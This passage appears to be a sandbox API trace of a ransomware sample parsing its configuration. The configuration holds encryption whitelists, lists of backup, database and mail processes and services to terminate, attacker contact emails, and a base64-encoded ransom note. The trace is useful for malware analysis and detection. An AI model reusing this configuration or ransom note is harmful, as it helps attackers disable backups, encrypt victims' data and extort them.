YW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0150.762] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac08, Size=0xc) returned 0xa553f0 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa58130 [0150.762] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x8ff838, _Radix=0 | out: _EndPtr=0x8ff838*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0150.762] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa553f0, Size=0x10) returned 0xa55390 [0150.762] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57f90 [0150.763] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x8ff838, _Radix=0 | out: _EndPtr=0x8ff838*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55390, Size=0x14) returned 0xa57f10 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57e90 [0150.763] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb